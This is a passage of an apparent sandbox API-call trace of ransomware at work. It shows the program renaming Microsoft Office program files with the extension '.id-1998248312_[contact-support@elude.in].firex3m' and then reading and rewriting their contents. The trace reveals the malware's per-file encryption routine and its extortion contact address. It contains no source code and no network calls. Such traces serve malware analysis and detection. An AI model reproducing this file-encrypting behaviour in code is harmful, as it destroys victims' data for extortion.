lpNumberOfBytesRead=0x3bbff0c*=0xde0, lpOverlapped=0x0) returned 1 [0138.538] GetProcessHeap () returned 0x630000 [0138.538] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0138.538] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.539] WriteFile (in: hFile=0x68c, lpBuffer=0x727f298*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x727f298*, lpNumberOfBytesWritten=0x3bbff0c*=0xde0, lpOverlapped=0x0) returned 1 [0138.539] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.539] WriteFile (in: hFile=0x68c, lpBuffer=0x7280077*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7280077*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.539] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.539] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.539] CloseHandle (hObject=0x68c) returned 1 [0138.539] GetProcessHeap () returned 0x630000 [0138.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727f298 | out: hHeap=0x630000) returned 1 [0138.539] GetProcessHeap () returned 0x630000 [0138.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727c700 | out: hHeap=0x630000) returned 1 [0138.539] GetProcessHeap () returned 0x630000 [0138.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0138.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18867d8e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe1a, dwReserved0=0x3bbfd20, dwReserved1=0x727c700, cFileName="Constantia-Franklin Gothic Book.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONSTA~1.FIR")) returned 0x6d52c0 [0138.539] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0138.540] Sleep (dwMilliseconds=0x1) [0138.558] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml", len=0x5c | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml") returned 1 [0138.558] GetProcessHeap () returned 0x630000 [0138.558] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a48) returned 0x72b0508 [0138.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0138.559] CloseHandle (hObject=0x68c) returned 1 [0138.559] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x1c00001c, dwReserved1=0x640075, cFileName="Century Schoolbook.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CENTUR~1.FIR")) returned 0x6d5480 [0138.560] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0138.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0138.560] GetProcessHeap () returned 0x630000 [0138.560] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe21) returned 0x727d80 [0138.560] GetProcessHeap () returned 0x630000 [0138.560] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe21) returned 0x7282cb8 [0138.560] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.560] ReadFile (in: hFile=0x68c, lpBuffer=0x727d80, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x3bbff0c*=0xe00, lpOverlapped=0x0) returned 1 [0138.575] GetProcessHeap () returned 0x630000 [0138.575] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0138.575] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.575] WriteFile (in: hFile=0x68c, lpBuffer=0x7282cb8*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7282cb8*, lpNumberOfBytesWritten=0x3bbff0c*=0xe00, lpOverlapped=0x0) returned 1 [0138.575] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.575] WriteFile (in: hFile=0x68c, lpBuffer=0x7283ab7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7283ab7*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.575] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.575] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.575] CloseHandle (hObject=0x68c) returned 1 [0138.575] GetProcessHeap () returned 0x630000 [0138.575] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7282cb8 | out: hHeap=0x630000) returned 1 [0138.575] GetProcessHeap () returned 0x630000 [0138.576] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0138.576] GetProcessHeap () returned 0x630000 [0138.576] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0138.576] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x188b44b4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe43, dwReserved0=0xc947496, dwReserved1=0x727d78, cFileName="Century Schoolbook.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CENTUR~1.FIR")) returned 0x6d4ec0 [0138.576] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0138.576] Sleep (dwMilliseconds=0x1) [0139.979] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms", len=0x5b | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 1 [0139.979] GetProcessHeap () returned 0x630000 [0139.979] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c5c) returned 0x7203db8 [0139.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0142.426] CloseHandle (hObject=0x6d4) returned 1 [0142.429] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.826] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.826] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe47e8ce2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe47e8ce2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4919fee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bcf, dwReserved0=0x75006c, dwReserved1=0x650064, cFileName="HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEST~2.FIR")) returned 0x6d5540 [0143.826] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0143.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0143.826] GetProcessHeap () returned 0x630000 [0143.826] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2be1) returned 0x7274ba0 [0143.826] GetProcessHeap () returned 0x630000 [0143.826] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2be1) returned 0x7277790 [0143.827] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.827] ReadFile (in: hFile=0x6d4, lpBuffer=0x7274ba0, nNumberOfBytesToRead=0x2bc0, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7274ba0*, lpNumberOfBytesRead=0x3bbff0c*=0x2bc0, lpOverlapped=0x0) returned 1 [0144.894] GetProcessHeap () returned 0x630000 [0144.894] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0144.894] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.894] WriteFile (in: hFile=0x6d4, lpBuffer=0x7277790*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7277790*, lpNumberOfBytesWritten=0x3bbff0c*=0x2bc0, lpOverlapped=0x0) returned 1 [0145.716] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.716] WriteFile (in: hFile=0x6d4, lpBuffer=0x727a34f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x727a34f*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.930] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.930] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.930] CloseHandle (hObject=0x6d4) returned 1 [0145.930] GetProcessHeap () returned 0x630000 [0145.931] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7277790 | out: hHeap=0x630000) returned 1 [0145.931] GetProcessHeap () returned 0x630000 [0145.931] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7274ba0 | out: hHeap=0x630000) returned 1 [0145.931] GetProcessHeap () returned 0x630000 [0145.931] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0145.931] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.931] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe47e8ce2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe47e8ce2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1ced08ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2bf3, dwReserved0=0xc947496, dwReserved1=0x7274b98, cFileName="HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEST~2.FIR")) returned 0x6d4f40 [0145.931] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0145.931] Sleep (dwMilliseconds=0x1) [0146.023] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL", len=0x3f | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL") returned 1 [0146.023] GetProcessHeap () returned 0x630000 [0146.023] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2748) returned 0x71f7c78 [0146.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0146.279] CloseHandle (hObject=0x4dc) returned 1 [0146.285] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgwiz.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgwiz.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.285] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.286] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x388a139, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x388a139, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x388a139, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x13290, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGWIZ.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORGWIZ~1.FIR")) returned 0x6d5280 [0146.286] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgwiz.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0146.286] GetProcessHeap () returned 0x630000 [0146.286] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0146.287] GetProcessHeap () returned 0x630000 [0146.287] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72531e0 [0146.287] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.287] ReadFile (in: hFile=0x4dc, lpBuffer=0x7247db0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesRead=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0151.115] GetProcessHeap () returned 0x630000 [0151.115] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0151.116] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.116] WriteFile (in: hFile=0x4dc, lpBuffer=0x72531e0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72531e0*, lpNumberOfBytesWritten=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0151.117] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.117] WriteFile (in: hFile=0x4dc, lpBuffer=0x725e5df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x725e5df*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0151.117] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.117] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0151.117] CloseHandle (hObject=0x4dc) returned 1 [0151.118] GetProcessHeap () returned 0x630000 [0151.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72531e0 | out: hHeap=0x630000) returned 1 [0151.118] GetProcessHeap () returned 0x630000 [0151.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0151.118] GetProcessHeap () returned 0x630000 [0151.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0151.118] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0151.118] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x388a139, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x388a139, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2004b4b9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x132b4, dwReserved0=0xc947496, dwReserved1=0x7247da8, cFileName="ORGWIZ.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORGWIZ~1.FIR")) returned 0x6d52c0 [0151.119] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0151.119] Sleep (dwMilliseconds=0x1) [0155.290] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\PowerViewRes.da.xap", len=0x65 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\PowerViewRes.da.xap") returned 1 [0155.290] GetProcessHeap () returned 0x630000 [0155.290] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b6c) returned 0x707d3d0 [0155.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\PowerViewRes.da.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\da\\powerviewres.da.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0155.291] CloseHandle (hObject=0x6dc) returned 1 [0155.291] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\PowerViewRes.da.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\da\\powerviewres.da.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\PowerViewRes.da.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\da\\powerviewres.da.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.292] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.292] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\PowerViewRes.da.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, 